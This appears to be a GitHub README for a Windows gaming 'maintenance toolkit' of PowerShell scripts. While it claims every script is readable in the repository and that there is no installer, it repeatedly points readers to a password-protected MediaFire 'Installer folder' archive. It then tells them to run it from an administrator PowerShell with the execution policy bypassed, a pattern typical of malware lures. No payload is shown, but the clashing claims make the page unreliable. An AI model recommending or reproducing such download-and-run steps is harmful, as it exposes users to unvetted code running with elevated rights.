Pulse Toolkit

A focused Windows gaming toolkit.
Clean temp files, set a performance power plan, refresh the network stack, and read a real system report.

Download: MediaFire Installer folder
Archive password: 5139237619
Source: this repository. Every script is readable PowerShell; open it before you run it.

GitHub topics: TOPICS.md lists the recommended repository topics.

Pulse is a small collection of game-night maintenance scripts. It does the boring parts — temp cleanup, a performance power plan, DNS and TCP housekeeping, a readable system report, and a game-process priority switch — without registry debloat, service stripping, or "ultimate optimizer" snake oil.

Each change is small, visible, and documented. Where it matters, scripts support -WhatIf.

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Features

• One menu for the common maintenance tasks.
• No registry debloat, no service stripping, no driver changes.
• Reversible power plan switch with a restore command.
• Readable system report for CPU, RAM, GPU, disk and display.
• Safe defaults - cleanup skips recent files and supports -WhatIf.
• Plain PowerShell - no compiled helper, no installer, no background service.

Scripts

Script	What it does
pulse.ps1	Menu for every tool below.
Clean-Temp.ps1	Removes old temp files and logs (default: older than 1 day).
Set-HighPerformance.ps1	Switches to the Windows High performance power plan.
Optimize-Network.ps1	Flushes DNS and restores normal TCP autotuning.
Check-System.ps1	Prints CPU, RAM, GPU, disk and display information.
Set-GamePriority.ps1	Raises the priority of a chosen running game process.
Restore-Balanced.ps1	Restores the Balanced power plan.

Quick start

1. Download the bundle from the MediaFire Installer folder. Archive password: 5139237619.

2. Extract it to a folder such as C:\Tools\Pulse.

3. Open PowerShell as administrator.

4. Allow the local scripts for this session only:

   Set-ExecutionPolicy -Scope Process Bypass

5. Start the menu:

   .\pulse.ps1

You can also run a single script directly:

.\scripts\Check-System.ps1
.\scripts\Clean-Temp.ps1 -WhatIf
.\scripts\Set-GamePriority.ps1 -Name cs2

Safety

• Read before running. Every script is plain text.
• No registry debloat. No service removal. No driver edits.
• Reversible changes. The power plan can be restored with Restore-Balanced.ps1.
• Dry runs. Clean-Temp.ps1 and Optimize-Network.ps1 support -WhatIf.
• No telemetry. Nothing is uploaded anywhere.

More: docs/SAFETY.md and docs/SCRIPTS.md.

FAQ

Is this a "FPS optimizer"?
It is a small maintenance toolkit, not a magic FPS button. It removes stale temp files, sets a performance power plan, refreshes DNS/TCP state, and shows what your system is doing. Real FPS gains depend on the game and the machine.

Does it uninstall Windows services or edit the registry?
No. That is deliberate.

Can I undo the power plan change?
Yes. Run .\scripts\Restore-Balanced.ps1 or select the Balanced plan in Windows Settings.

Does it work on Windows 10 and 11?
Yes, with PowerShell 5.1 or newer.

Why does it need administrator rights?
Power plan changes, system reports and process priority need elevation. The scripts are written to fail clearly if you are not elevated.

Contributing

Keep changes small, reversible and documented. Read CONTRIBUTING.md before opening a PR. If Pulse saves you time, a star helps other people find it.

See CHANGELOG.md for the release history.

License

MIT. See LICENSE.

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_{Pulse is an independent toolkit and is not affiliated with Microsoft, Valve, or any game publisher. Use it at your own risk.}